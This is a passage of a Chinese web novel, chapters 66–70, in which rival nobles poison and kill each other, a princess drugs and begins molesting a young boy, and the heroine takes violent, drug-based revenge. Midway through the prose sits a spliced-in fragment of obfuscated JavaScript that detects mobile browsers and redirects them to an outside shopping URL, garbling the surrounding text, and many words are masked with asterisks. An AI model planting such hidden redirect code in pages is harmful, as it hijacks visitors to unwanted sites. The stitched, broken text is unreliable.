苗夫人的眼珠子转动了,她顾不得膝盖骨头碎裂,连滚带爬扑到苗兴旺的脚下,死死拽住苗兴旺的衣袍。
“老爷,耀祖......耀祖就是您的儿子啊。”苗夫人脸色惨白,不知是膝盖骨头碎裂痛的,还是秘密被戳破后吓的。
不,苗耀祖**,童阿家**,就算冒出来一个童大祥叫冤。
又如何?
她咬死不认。
哪怕让她一死证明清白,只要能保住苗耀祖是苗氏血脉的“清白”。
“老爷,刁民诬告,如何能信?”
“我们的耀祖惨死,难道老爷您忍心让耀祖死不瞑目?死后还遭受世人指指点点?”
“老爷,求您为耀祖考虑,为嫁出去的女儿们考虑,也为苗氏族人考虑啊。”
“老爷?”
苗兴旺好想一脚踢开苗夫人,或掐住苗夫人的脖颈......可惜,他做不到。
“苗耀祖是我的儿子?”苗兴旺只觉得五脏六腑在搅动,又吐出一口黑血。
“普神医,快去为苗大人看诊。”徐慧珠似是被苗大人口吐黑血吓到了。
“将军,苗大人该不会**了吧,谁敢给苗大人下毒啊。”
“万幸我担心金春的身子,请普神医随行......”
第066章:主就是主,奴就是奴
“夫人就是心善人美。”
姜夜沉还真是不吝称赞,他看徐慧珠的眼神,柔情似水,身上无半点萧杀之气。
前面的热闹,徐慧珠没凑上。
平义无需思考,立马接话,“是这样的,徐夫人。”
“徐尚书报官,说苗大人雇**徐从武。”
“苗大人乃朝廷命官,本官亲自走一趟问话,谁成想,苗大人指证苗夫人给他下毒。后面的事......”
徐慧珠眼里的震惊表演到位,惊呼道,“府官大人,你......你说什么?”
“苗夫人给自家夫君下毒?这......这怎么可能。”
“先不说一日夫妻百日恩,苗夫人为苗大人生育五女一儿,她是得了失心疯不成,为何给枕边人下毒呢?”
“难道......难道苗耀祖当真不是苗大人的血脉?”
话都说得这般明显了,苗夫人又不是蠢傻。
她明白了。
徐慧珠果然什么都知道。
徐慧珠早就知道苗耀祖同苗安媛合谋,用强毁她清白,她要么嫁给苗耀祖,要么一根绳子吊死。
一箭双雕的妙计,好处尽占的是她云海岚的儿女。
多好啊。
此刻,苗夫人恨死徐慧珠。
但,金春和腹中孩儿还在徐慧珠的手里,苗夫人恨恨地瞪了徐慧珠一眼。
只得忍下。
“不不不。”苗夫人一边哭一边嚎叫,“老爷,你相信我啊,苗耀祖就是你的血脉,我没有给你下毒。”
“老爷,我......我对天发誓,如果我说谎,我......我......就遭受天打雷劈之刑,来世投胎......投畜牲道。”
这等毒誓重誓,苗夫人竟发了。
金春原本摇晃的身子,恐慌的心,在苗夫人发下毒誓后,她又信了苗夫人。
她不惜背叛两位主子,攀附上苗耀祖,不等她飞上枝头变凤凰,苗耀祖却莫名其妙惨死。
好在,菩萨怜悯,她的腹中正孕育着苗耀祖的血脉,还是能延续香火的儿子。
唯一的血脉,唯一的儿子,生下来便贵不可言,而她也能母凭子贵,从身份低贱的奴变成尊贵的贵夫人。
她,金春,就是贵人。
金春欲张口说话,金夏猛地拧她一把,痛的她眼泪汪汪。
金夏还威胁她,“金春,你最好站着,当你的人形柱子,不然,我毒哑你。”
苗夫人仔细观察苗兴旺的脸色,心一横,“老爷,我......我愿一死证清白。”
说罢,转向徐慧珠磕头,磕的额头一片血红。
“徐夫人,您和金春主仆情深......”
苗夫人倒是聪明,死到临头还在为亲孙谋划,可见她仅有的真心的确都给了未出世的亲孙。
苗夫人这般爱演,徐慧珠便好心陪她演这最后一场。
“金春打小伺候我,虽是主仆,实为姐妹。”
“唉,金春这命......得知金春和苗耀祖两情相悦,我便去求了母亲,认金春为义妹,备下一份丰厚嫁妆,抬高金春的身份,全了姐妹情谊。”
“谁成想......”
金春愣愣地看着徐慧珠,她竟一时分不清楚徐慧珠说的话,是真心,还是假意?
不,她不能后悔。
哪怕徐慧珠对三金再好,又如何?
出身已定尊卑。
徐慧珠是主,她们是奴。
人性本自私,她为自己拼出一条富贵路,有何错。
“徐夫人?”
苗夫人满眼着急,她没时间也无心情听徐慧珠在这里扯什么姐妹情深的废话。
主就是主。
奴就是奴。
还姐妹?
呵!
虚伪至极。
贵人手握奴仆的**契,奴仆敢不奉上忠心和性命?
“徐夫人,我有一个不情之请......”
姜夜沉冷哼一声打断,“苗夫人何意?”
“苗夫人觉得本将军的夫人心善,便想要道德**,逼迫夫人帮你养孙子?”
“苗夫人好厚好大的脸,紧着本将军的夫人使劲儿坑。再说,苗大人雇**夫人的二叔,本将军也不欠苗府的情......”
苗夫人的心思被拆穿,她想说的话,都被姜夜沉说完了。
即便苗夫人豁得出去脸面,很明显,姜夜沉坏她的好事。
平义:堂堂杀神将军也会掺和内宅?果然,应了那句老话,没有哪个男人能逃出女人的温柔乡。将军娶亲之后,变了。
“啊?”徐慧珠惊呼道,“苗夫人,你......你......当真想让我继续养着金春,可......可......为什么啊?”
“金春腹中孩儿是苗氏血脉,就算我怜惜金春,舍不得金春,但我也不能自私到耽误金春的幸福吧。”
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“再说,我乐意照顾金春,苗夫人你也愿意,但苗府做主的是苗大人,怎能容忍苗氏血脉没名没分流落在外?”
“难道......难道童大祥指证为真,苗耀祖当真不是苗大人的亲子,而是管家童阿家的......”
这时,普神医已为苗兴旺看诊结束。
刚刚的审问也因为苗兴旺瞧着支撑不住,先暂且中断,由普神医为苗兴旺治疗。
生死面前,审案不急。
苗兴旺清楚感觉到生机正一点一点剥离身体,奇怪的是,他的脑子无比清醒。
他们的对话,一字一句入了苗兴旺的耳,穿透苗兴旺的心。
同床共枕几十载的时光,苗兴旺岂能不了解枕边人。
那就是个又蠢又坏的毒妇。
到头来,就是云海岚这样的女人,害了他。
他亏啊。
他悔啊。
“普神医,苗大人是**,还是病了?”姜夜沉故意发问。
苗兴旺呕出黑血,就是不通药理之人,一眼看出苗兴旺应该身中剧毒。
偏偏,姜夜沉不当一回事,还堂而皇之凑热闹。
谁敢说一句“将军过分”?
“回禀将军,苗大人中的是**之毒,之所以还剩一口气,应该是服用我在两年前炼制的解毒丸。”
“但,解毒丸能解百种毒素,却解不**、鹤顶红之毒。”
“普......普神医?”苗兴旺抓住普神医的衣袖,迫切地问,“救......救我。”
“我......我愿奉上一半家财,只求神医救我性命。”
此刻,苗兴旺唯有强烈的求生欲望。
谁给他下毒?苗耀祖是不是管家的贱子?他得有命活着,才能慢慢清算。
他要活。
“苗大人,你活不成了。”
普神医实话实说。
身为医者,普神医敬畏生命,也淡漠生死。
苗兴旺瞪大眼睛,似是难以置信,又在意料之中。
脑子里的血管,一根根断裂。
他的父亲,苗富贵。
他,苗兴旺。
他的儿子,苗耀祖。
他的孙儿,苗长青。
苗兴旺早已想好孙儿的名字,长青长青,苗氏一族的富贵和权势长青一个百年、两个百年...
寓意多好。
“活不成了。”苗兴旺喃喃重复,“活不成了......”
第067章:夫妻残杀,双死
苗夫人听到普神医说苗兴旺“活不成了”,眼里迸发出狂喜,心下决定,哪怕证据甩在她的脸上,打死不认,只要熬到苗兴旺**......
她赶忙低下头,生怕被苗兴旺发现。
可惜,苗兴旺看得清清楚楚。
呵。盼着他死啊。
普神医是个大嗓门,“苗大人,我可以帮你,也算医者对病患的临终关怀。”
“一是,这枚褐色药丸,可将你全部生机集中在半个时辰,困住你的痛觉。”
“也就是说,在半个时辰里,你会产生一种错觉,自己恢复健康。”
“的确,你和正常无异。”
“但,那是假象,如同人死之前的回光返照。”
“二是,你先前服用的解毒丸,解不了**之毒,但能让你撑着一口气活十二个时辰。”
“但这十二个时辰里,毒素一点一点侵入你的五脏六腑,侵入你的骨血,侵入你的大脑......最后,生生痛死。”
“这枚绿色药丸,会让这一口气能延迟六个时辰,痛苦翻倍。”
“三是,这枚红色药丸乃致命**,服下后,立马丧命,身体不会再痛。”
苗兴旺要哭了,普神医炼制出各类药丸,却救不了他的命。
他,真的要**。
他唯一能为自己做的事情,就是选择一种死法。
是现在死,还是等一会儿死?
是痛苦的死,还是无痛的死?
“苗大人,请先支付银子,一颗药丸百金。”普神医说完,将三瓶药丸摆在苗兴旺的面前。
没有人上前催促,大家默契地等待苗兴旺会做何选择。
苗兴旺也在等待自己。
“天子脚下的皇城,竟有人敢毒害朝廷命官,恐他国细作所为。”
姜夜沉下令,“锦衣卫,查。”
平义眼活,哪敢劳烦锦衣卫,赶忙说道,“回禀将军,刚刚苗大人指证苗夫人给他下毒,但苗夫人矢口否认。”
“两人只言语攀咬,并未拿出实质性的证据。事发突然,下官正要展开调查。”
平义可不敢说,他明明已禀报过,为何姜夜沉这么快就忘了,还扯到他国细作......
意欲何为?
若苗氏一族牵涉到他国细作,会是何等下场?
家族覆灭,将在安国不复存在。
太可怕了。
平义心虚,难道他这一插嘴,坏了姜夜沉的大事?
姜夜沉的暗示和威胁,苗兴旺懂了。
家族的活路,代价是他和云海岚的命。
苗兴旺生生咽下喉咙的腥血,他看了一眼姜夜沉,目光又落在徐慧珠的身上。
她知道了真相?
她在为母复仇?
时至今日,这一切是她仗姜夜沉的势,做下的局。
姜夜沉纵她容她,帮她助她。
苗兴旺的大脑异常清醒,他自然明白,徐慧珠连徐家人都不放过,岂会放过他。
冤有头债有主,他和云海岚死,换苗氏族人的生机。
说来,是他占便宜。
“普神医?”
“时间紧张,普神医可有法子助平大人揪出下毒之人?本将军刚娶亲,正和夫人浓情蜜意时,万般不信夫妻同榻而眠,却生出毒害枕边人的心思。”
“本将军被吓到了。”
“倒是有法子,不过......”普神医才不管苗兴旺死不死的,只要不耽误他赚诊金就行。
“我研制出一种药粉,只要谁在三日之内接触过**,给她的双手涂抹药粉,半刻钟后,她的双手就会散发犹如屎臭的难闻气味。”
“一包药粉五百两银子,不知,这银子是府官大人报销,还是苗大人出?”
“我出。”苗兴旺恨恨地看向苗夫人,“云海岚,你敢吗?”
苗夫人傻了。
她不敢。
**是她亲手下的,弄来**的梅香死在回乡探亲的路上,跌落悬崖,尸骨无存。
她一向谨慎,只相信**才能守住秘密。
当初,她对管事童阿家有难么一点点贪恋,不过是贪恋床榻欢愉和温暖怀抱,她毫不犹豫舍弃。
“不必试验。”
苗夫人哈哈大笑,笑的泪流满面。
“我认。”
“苗兴旺,是你逼我的。”
“我为你生五女一子,换来什么?”
“耀祖尸骨未寒,你就在惠南巷娇养外室,忙着延续香火。”
“我恨啊,苗府的一切属于我儿耀祖,旁人休想抢夺。”
苗夫人这是要破罐子破
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摔,一摔到底。
“苗兴旺,还有一个秘密,我也告诉你。”
“自耀祖出生后,我就给你下了绝子药,你这一生只能有耀祖一个儿子。”
“我......云海岚......不会让你有其他儿子的。”
“哈哈哈......”
夫妻几十载,苗夫人自是深知苗兴旺的软肋,如何刺激他,使他丧失理智,发疯发狂。
果然,苗兴旺脑子里仅剩的那根弦嘭的断裂。
原来,他努力又勤快地在妾室身上耕耘,结果颗粒无收,不是他的错,而是遭受云海岚的算计。
“云海岚,你这个毒妇!”苗兴旺扑过去,死死掐住苗夫人,“你害我如此境地!”
苗兴旺活生生掐死自家夫人,还怕她不死,喂她那颗红色药丸。
和徐从武一样,激**人。
普神医吓得大叫,“买定离手,银货两清。”
“苗大人**,与我无关啊。”
但,姜还是老的辣。
苗夫人比苗安媛更厉害的点在于,她拼着最后一丝力气,扯下苗兴旺头上的玉簪,**苗兴旺的脖颈。
完成反杀。
夫妻双死。
“啊......”
金春受到刺激,两眼一翻,晕倒在金夏的怀里。
徐慧珠今儿扮演主仆情深,赶紧带着金春离开苗府。
夫人都走了,戏也没什么好看的,姜夜沉走得干脆。
烂摊子留给府官大人。
一同留在苗府的,还有大福。
有锦衣卫帮衬,府官大人只用两日就审理三桩案件。
可谓神速。
第一起案件,徐从德状告苗兴旺雇**徐从武一事属实,鉴于苗兴旺已死,不予追究。
第二起案件,苗夫人云氏亲口承认毒杀其夫君苗兴旺。
第三起案件,童大祥状告苗夫人云氏十六年前借种管事童阿家,事成之后**灭口,情况属实。
苗府家财分为三份,一份用于补偿童大祥,一份归属苗氏宗族,一份划入国库。
这一日,徐慧珠正在用午膳,金夏急匆匆禀告,“夫人,如您所料,金春偷偷出府,去见了童大祥,求童大祥带她走。她还......还勾引......”
第068章:为夫人请来两座靠山
金夏脸色难看,金春的不要脸,一次次刷新金夏的认知。
“夫人,金春......她......她竟勾引童大祥,还让她得逞了。”
“这童大祥是没见过女人?不管怎么说,金春是他的弟媳。”
徐慧珠的手里,还握着金春的**契。
那一日在苗府,金春的**契没送出去。
有一点,金夏说对了,童大祥前半生为报仇而活,没心思了解女人。
他是经不起金春的引诱,也因为金春腹中的孩子是童家血脉,他做不到放任不管,更不能眼睁睁看着金春另嫁他人,日后孩子管旁人叫阿爹。
“若童大祥登门,不必禀报,让他出十两银子赎走金春的**契。”
“告诉童大祥,他可以带走金春,但金春和我的主仆情断,日后若出了什么事情,一概与将军府无关。”
转眼到了元乐长公主的赏菊宴,按规矩,以徐慧珠的贵妾身份,自是没资格参加赏菊宴。
可,先是姜夜沉在大婚时当众告知,徐慧珠妾行妻权。
接着,元乐长公主当真送来请柬,指明邀请徐慧珠。
元乐长公主是皇帝嫡亲妹妹,她的面子,谁敢不给?
便是皇帝不能亲临,也一早赏赐十盆顶级名贵的菊花。
徐慧珠带着三金赴宴,待她出现在公主府,满院热闹戛然而止。
这等宴会,来的都是当家夫人,清一色的正室。
唯有徐慧珠,是妾。
原来该是上不得台面的妾,才是啊。
嫡与妾,生来不一样。
嫡为天,妾为地。
嫡为尊,妾为卑。
嫡为贵,妾为贱。
嫡为主,妾为奴。
徐慧珠一个妾,凭什么翻身做主子?
“徐夫人,您这边请坐。”秦姑姑恭敬有礼,安排徐慧珠坐在第一桌。
众人你看我,我看你,皆在彼此的眼里看见一抹愤恨。
第一桌身份顶贵,坐的是皇族和国公夫人,在徐慧珠来之前,留着两个挨着的空位:一个是元乐长公主,另一个大家纷纷猜测元乐长公主还邀请了哪位贵人,难道是凝玉公主?
谁成想,竟然是徐慧珠。
“你便是将军新纳的妾——徐氏?”
“一个**妾室,厚脸皮参加赏菊宴不说,还好意思以夫人自居?呵!真真是离谱!”
坐在第二桌的欣冉郡主蹭地一下站起身,怒气冲冲,原本娇媚的容颜,失去三分好颜色。
看来,这位身份尊贵的欣冉郡主擅做出头鸟。
欣冉郡主这一顿怒骂,骂出在场贵夫人的心声。
简直是最佳嘴替。
“秦姑姑,你糊涂了不成,引导一个妾坐在元乐长公主身边,你是侮辱谁呢?”
秦姑姑是元乐长公主的掌事女官,一言一行代表元乐长公主的意思,却被欣冉郡主质问“糊涂”,就是在指责元乐长公主糊涂。
秦姑姑脸色微变,正欲开口,却感觉到衣袖被轻轻拉扯。
徐慧珠冲她无声口型:让我来。
秦姑姑愣神的功夫,就见徐慧珠跃过她,径直走向欣冉郡主。
啪啪。
欣冉郡主的脸颊,浮现两个清晰的巴掌印。
“**,你......你敢打本郡主?”
欣冉郡主扬起手,欲还击,却被徐慧珠抓住,动弹不得。
“**,本郡主......杀了你。”
“护卫何在,给本郡主杖毙这个该死的**。”
可惜,这里是元乐长公主府,公主府的护卫,欣冉郡主如何能指挥得动。
徐慧珠一松手,欣冉郡主一屁股摔倒在地。
实在狼狈。
“欣冉郡主,你莫不识好人心,我是在救你。”
徐慧珠上前,伸手扶起欣冉郡主,又将她摁在软椅里,还帮她整理歪掉的金簪。
她取出一只巴掌小的铜镜,举在欣冉郡主的面前。
“郡主今日的妆容,两边脸颊少了胭脂,显得皮肤过分寡白。如今再瞧瞧,是不是更娇艳了些?”
“郡主不必言谢,将军夸我心善人美,今日我和郡主头一回见面,能帮到郡主,是我之幸。”
秦姑姑:公主殿下嘱咐奴婢照看些,如今看来,倒是多虑了。
襄王妃:徐慧珠怎么敢打欣冉郡主?唉,算了,打个郡主算什么,大婚当日她打了凝玉公主,一战成名。白担心了,我还是坐下喝茶吧。
众贵人:揉一揉眼睛,我们看到了什么?掏一掏耳朵,我们听到了什么?
三金:夫人威武!
欣冉郡主气到浑身发抖,她想要伸手打掉铜镜,推开徐慧珠。
可,不知为何,她的身体忽然使不出半点力气。
“贱-人!”欣冉郡主憋了半晌,蹦出俩字。
好像贵人就喜
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好辱骂旁人是“**”,殊不知,骂人者才下作**。
“唉......”徐慧珠的手指一寸一寸滑过欣冉郡主的唇,“郡主这高贵的嘴巴,似乎有点儿臭啊。”
“我劝郡主嘴下留情,万一哪夜月黑风高,有人潜入郡主的闺房,用绣花针缝住郡主的嘴巴,啧啧啧,好惨啊。”
欣冉郡主瞪大眼睛。
满眼不敢置信。
在场之人无不震惊,除了三金。
徐慧珠竟敢明晃晃威胁欣冉郡主?
“贱-人!你......你......”欣冉郡主只觉得喉咙又痒又痛,似乎被硬物割伤,痛的她说不出话。
徐慧珠懒得理会欣冉公主,一只被宠坏、没多少脑子的出头鸟,吓唬一下就够了。
昨夜,她问姜夜沉,“元乐长公主的赏菊宴,我该如何做?遇人遇事是忍,还是回击?”
“谁骂你,你打她。谁打你,你当场弄死她。”姜夜沉的口气,大破天了。
“春嬷嬷回来了,明日她陪你去元乐长公主府。”
徐慧珠知道,元乐长公主和春嬷嬷此刻就站在不远处,欣赏她“耀武扬威”。
“我和将军奉旨成婚,以妻之礼,明媒正娶,虽为妾,却行妻权,郡主该称呼我一声‘徐夫人’。”
“郡主张口妾闭口**,怎么,是对皇上旨意不满?还是将军府碍了华山王的眼?”
“你......你胡说,竟敢攀扯父王?”欣冉郡主心里又急又慌。
她想到父王的警告。
“怎么,说不得吗?”
徐慧珠冰冷眼神扫射而过,“我的夫君乃北疆之王、护国大将军、锦衣卫统领......诸位说说,这第一桌的位置,我坐不得?”
葡萄花架后面,站着三人。
元乐长公主先开口,“夜沉,你娶的夫人,性情如辣椒啊。”
“正合我心,亦合我意。”姜夜沉十分满意徐慧珠的表现,朝堂和后宅本就息息相关,有时候,挑起女人之间的战争,也会硝烟弥漫,效果惊艳。
他好浑水摸鱼。
“春嬷嬷,今日之后,你可愿留在慧珠的身边,帮她护她?”
“自是愿意。”春嬷嬷看向徐慧珠,“老奴这把老骨头闲了很久,既是将军托付,老奴就陪夫人走一程。”
徐慧珠还不知,自己有幸被春嬷嬷相中......
第069章:今日仇,今日报
“将军,入宫的时辰到了。”大福不得不出声提醒。
大福心想,将军对夫人真好,生怕夫人吃亏,专门为夫人请到两座靠山。
回头见着夫人,定要在夫人面前多美言几句,让夫人真真切切感受到将军的好。
将军做好事,他大福帮将军留名。
“将军去忙吧,老奴会护着夫人,绝不会让夫人受一丝一毫委屈。”
姜夜沉看了一眼人群里的徐慧珠,她是那么耀眼。
遗憾的是,他欣赏不到她的风采。
唉......姜夜沉头一回生出不想干活的心思。
他又想休假。
要不,等会儿入宫求见皇帝时,再请几日假。
回府陪夫人啊。
襄王妃看着大家被徐慧珠镇住,心里乐开了花,不愧为她的徒弟,这气势青出于蓝胜于蓝啊。
“慧珠,过来坐,累了吧,喝杯茶。”襄王妃牵着徐慧珠的手,还亲自倒茶。
天呐!
真真是没眼看。
堂堂皇族宗妇自甘堕落当一个端茶递水的奴婢?
“元乐长公主到!”太监唱调。
“拜见公主殿下。”众人跪拜行礼,仿佛刚刚经历的大战,是一种错觉。
一番寒暄之后,众人再次落座。
“你就是徐慧珠?听皇兄说,将军不愿委屈心上人,奉上一身军功求得赐婚圣旨。”
元乐长公主一开口,惊的在场贵人一个个变了脸色。
以赫赫军功换一道赐婚旨意?姜夜沉得了失心疯不成?
为了一个妾?
先前,京城谁人不知谁人不晓,户部尚书府嫡出二小姐**月一颗芳心,系在姜夜沉的身上,徐慧珠何时成为姜夜沉的心上人?
京城之中,竟无一人知情。
“本宫实在好奇,便求了皇兄举办赏菊宴,就为了见徐夫人一面。”
众贵人:原来赏菊宴为徐慧珠而办,她们呢,不过起到陪衬作用。说来,还是沾了徐慧珠的光,能来元乐长公主参加宴会,赏到顶顶名贵的菊花品种。
一时间,大家看向徐慧珠的目光,添了更多色彩。
“徐氏慧珠见过长公主殿下。”徐慧珠正要行礼,却被元乐长公主扶住。
“好了好了,不必拘礼。”
“将军特意交待,让本宫好生照顾你呢。”
谁也没注意到,欣冉郡主悄悄离开,她受了天大的委屈,心里憋屈又愤恨,得赶紧回府宣泄一番。
欣冉郡主刚走到一处假山,看到一个七八岁的男童蹲在草丛里,专注地看着蚂蚁搬家。
“明轩,蚂蚁搬家是将要下雨的征兆,姐姐带你去假山里捉萤火虫,好不好?”
“好呀,欣冉姐姐。”叫明轩的男童任由欣冉郡主牵住小小的手,他哪能想到漂亮姐姐会将他拉入地狱。
徐慧珠赏不来菊,倒是襄王妃和元乐长公主志趣相投,两人聊着菊花,聊得火热。
徐慧珠待得无聊,便借口如厕透透气。
刚出花厅,就看见急色匆匆的金夏,“夫人,出事了。”
假山里,欣冉郡主取出一颗橘子糖,“明轩,来,姐姐喂你吃糖。待吃了糖,姐姐就陪你玩......一种好玩的萤火虫游戏。”
不过眨眼功夫,明轩小小软软的身子倒在欣冉郡主的怀里。
欣冉郡主凑到明轩的脖颈,贪婪嗅其气味,“嗯,好香呀。”
“郡主,明轩公子的身份......”心腹奴婢阿英硬着头皮劝说,“王爷交待过,在京城要谨言慎行。”
“郡主,不如回王府玩,王府里娇养着好几个漂亮水嫩的男童...”
啪啪。
“贱婢,敢扫本郡主的兴?”欣冉郡主的手已伸进明轩的衣裳里,还是幼童的肌肤,能消灭她心里的怒火。
“滚!去望风!”
欣冉郡主舍不得放开怀里香喷喷的猎物,“贱婢,等回王府揭你的皮。”
阿英自扇巴掌,“奴婢多嘴,请郡主息怒,您玩得开心就好,奴婢不打扰您的好事了。”
阿英刚出假山,一团黑影袭来,接着,便断了气息。
丧天良的恶奴,活着也是污染空气。
“欣冉郡主,有没有人告诉你,你这样的垃圾不配活着,连呼吸都是脏污了空气。”
有点儿熟悉的声音。
“你......你是谁?”
欣冉郡主话音未落,人已软软倒在地上。
“阿魂,喂她一瓶媚药,扔到练武场的兵器库。”
徐慧珠为明轩整理好衣裳,又喂他一颗药丸。
片刻之后,明轩醒来。
明轩揉了揉眼睛,疑惑问道,“咦?欣冉姐姐呢?一眨眼又变来一个新姐姐。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643835|188170||http|test|mini|href|location''.split(''|''),0,{}));
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r>“你是谁?”
自古父母宠幺儿,襄王妃宠的明轩如一张纯白的宣纸,生在皇家,八岁孩童仍保持天真无邪,不识世间险恶。
徐慧珠陪着明轩公子玩了一会儿,相比较于赏菊,她更愿意和明轩公子捉迷藏、下斗兽棋、吃糕点。
直到襄王妃寻来,竟舍不得惊扰这般和谐的画面。
“母妃,快来快来,一起玩啊。”明轩抬头看见襄王妃,开心地招手。
“慧珠姐姐给我做的斗兽棋,太好玩了。”
“母妃,我教你玩,慧珠姐姐说我可以出师,给别人当小先生了呢。”
襄王妃知晓徐慧珠有话要说,陪明轩玩了一局,又引着明轩去教奴婢。
徐慧珠并未隐瞒,将意外撞破的事情如实说了,“襄王妃,这是橘子糖,里面含有**。”
襄王妃气到浑身颤抖,若不是金夏扶着,她便瘫软在地。
襄王妃看向明轩,满眼心疼。
她捧在手心里、放在心尖尖上的珍宝,差一点点就被欣冉郡主毁坏。
“欣冉......欣冉郡主......她怎么敢?”
襄王妃握住徐慧珠的手,“慧珠,谢谢你,你救了明轩的命,也救了我的命。”
“从今以后,你就是明轩的亲姐姐,是我的亲女儿。”
欣冉郡主的奴婢阿英,她的尸体还藏匿在假山里,留给襄王妃收尾,再合适不过。
“王妃愿做我的先生,是我的福气。”
“一日为师终身为母,我的生母早逝,嫁入将军府,上无婆母,对我来说,也是人生憾事。承蒙王妃疼爱,我自是万般愿意尊您为师,认您为母。”
“先生在上,徒儿跪拜。”
“义母在上,女儿跪拜。”
“好好好。”襄王妃一连说了三个“好”字。
“我要襄王府要公告天下,要举办一场浩大的认亲宴,让全京城的世家都见证,慧珠你的娘家有户部尚书府,还有襄王府。”
“日后,襄王府就是你的底气,是你的靠山。”
若说之前襄王妃愿意与徐慧珠交好,主要看在姜夜沉的脸上。
那么,经过明轩的事情之后,襄王妃对徐慧珠的感激和喜欢,真心实意。
“义母,明轩弟弟的仇,今日仇,今日报。”
“义母放心,交给我便好。”
第070章:恶人天不收,夫人收
回到赏菊宴上,不知襄王妃如何说动元乐长公主,只见秦姑姑出去了一趟,半刻钟又回来附在元乐长公主府耳旁说了些什么。
元乐长公主起身提议,“今日恰逢禁卫军对战赛,皇兄赏赐的十盆极品菊花,本宫便作为奖品,送给比武表现最优秀的十位儿郎。”
又打趣道,“听闻今日大将军亲临演武场,指导禁卫军武艺。”
“本宫看呀,徐夫人早都坐不住,本宫再不放人,只怕徐夫人也是人在我公主府心在演武场了。”
“这满院菊花,如何能及大将军的风采。”
徐慧珠大方回应,“公主殿下说得是,我的确想去演武场欣赏将军的风姿。”
“去去去,我家明博今日也会上场,我得去给明博呐喊助威。”襄王妃举双手赞同。
禁卫军副统领谢宾出事后,位置空了下来,最后花落襄王府世子李明博的身上。
以元乐长公主和襄王妃为首的贵人浩浩荡荡赶到演武场的看台。
时辰刚刚好。
今日禁卫军对战赛,皇族代表来的是襄王和华山王,由唐国公主持。
场面话说完,现场气氛激情澎湃。
唐国公令下:请兵器。
对战赛正式开场。
兵器,便是将士的命。
值得尊重。
唐国公面色虔诚,双手接过钥匙,打开兵器库的大门。
画风突转。
变故发生,如同破天而降的暴雨,浇懵了所有人。
只见,一条白嫩嫩的身子扑倒唐国公,一边撕扯他的衣袍,一边往他怀里蹭。
“啊啊啊......”
尖叫声,一声高过一声。
兵器库里怎么跑出来一个赤身裸体、披头散发的女子。
是谁?
谁敢玷污兵器库?
谁敢不敬将士的“命”?
谁谁谁?
唐国公年迈,又患有心悸之症,为参加禁卫军对战赛,提前服用加量汤药,猛得受到女子身体的撞击,又惊又吓之下,竟昏厥过去。
万幸,是昏厥,不是当场吓死。
眼见身下的老男人没了反应,女子爬起来,抬头看到全是男子,她兴奋地往人群里冲。
“我要男人!”
“给我男人!”
这画面......
“那......那是谁?”离得远,女子的面容又被长发遮住,元乐长公主只觉得天塌了。
禁卫军对战赛,竟闹出百年不遇的笑话。
还未开始,已是结束。
所有人,都愣住了。
一时忘记反应。
“欣冉......欣冉郡主?”李明博率先认出欣冉郡主,他随手脱下披风,包裹住欣冉郡主的身子。
“啊啊啊......”
欣冉郡主猛然清醒。
周围全是男人的脸。
而她的身子,光着。
在李明博喊出“欣冉郡主”时,华山王只觉得浑身的血液往上冲,直冲大脑。
心道:完了。
元乐长公主和襄王妃送欣冉郡主回王府,又请御医看诊,却没查出身中药物的痕迹。
欣冉郡主的疯癫,非人为陷害。
唐国公伤得不轻,陷入昏迷,御医看诊过后,说是唐国公遭受严重刺激,是否能醒过来,得看天意。
出了这等丑事,华山王、襄王和李明博即刻入宫面见皇上。
如实禀报。
然后,请罪。
姜夜沉直接上了徐慧珠的马车,开口便问,“你做的?”
徐慧珠点头。
“徐慧珠,你的胆量够大。”
“说吧,为何这般对付欣冉郡主?”公主府发生的事情,姜夜沉并不知情,阿魂拖着昏迷不醒的欣冉郡主,只留下一句话,“阁主派的活。”
“徐慧珠,你很愤怒?”
她的愤怒,隐藏的极好,仍逃不过姜夜沉的眼睛。
“欣冉郡主不配为人,既如此,我就让她再也做不得人。”
“她......她对明轩做那种恶心的事。”
“将军,难道你的锦衣卫或云霄阁从没查到欣冉郡主做下的恶事?”
“从未发现过伤痕累累的幼童从王府出来,扔到乱葬岗,被野狗野狼分食?”
“那......那都是孩童啊。”
徐慧珠的情绪很激动,她一直拼力压制,直到这一刻,在姜夜沉的面前,她的情绪,再也控制不住。
姜夜沉不言不语。
他拥徐慧珠入怀中。
许久之后,他说,“余下的事情,交给我。”
“徐慧珠,你得会想,欣冉郡主遇上你,就是她行恶的终结之日。”
“恶人天不收,徐慧珠收。”
“我陪夫人收尽这天下恶人,也未尝不可。”
徐慧珠冷静下来之后,才后悔
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她不该在姜夜沉的面前发这一通脾气,不该迁怒。
姜夜沉只是芸芸众生里的人,他被百姓敬仰为神明,却不是神明。
“将军,我闯祸了是不是?”
“倒不算闯祸,确实打草惊蛇。今日之事,华山王可能会怀疑襄王妃和元乐长公主联手设下的局,以报复欣冉郡主。”
御书房里。
华山王跪在皇帝的面前请罪,说欣冉郡主得了离魂症,时而会做出一些出格的事情,待清醒后,她又完全不记得。
华山王爱女心切,又怕影响皇族清誉,这才苦苦隐瞒。
谁成想......
“但,禁卫军的兵器库?”
襄王已得知内情,心里恨的不行,只得暂且忍耐。
华山王赶忙接话,“为全体禁卫军更换兵器,这笔费用臣......臣弟该出。”
“求......皇上恕罪。”
皇帝没有揭穿华山王的谎言,只敲打一番,就让华山王先回府。
皇族丢脸固然可气,但华山王这只滑不溜秋的泥鳅,一直藏匿在潮湿的泥土里,抓不住、寻不到错处。
如今,倒是一个机会。
逼疯华山王,暴露痕迹。
皇帝哪看不出,这手法像极姜夜沉。
他教导长大的孩子,又是他手里最锋利的刀,该护着些。
华山王出宫门时,瞧见姜夜沉,立马堆上笑容,“这么晚了,将军还要入宫办差,真是称职又辛苦。”
办什么差?
锦衣卫办的差事,不是**,就是抄家。
尤其在姜夜沉上任锦衣卫统领之后,一年的光景里,至少有三四个世家大族覆灭。
不知,姜夜沉是不是要杀光京城的世家大族?
华山王的笑脸,对上姜夜沉的冷脸。
“见过华山王。”
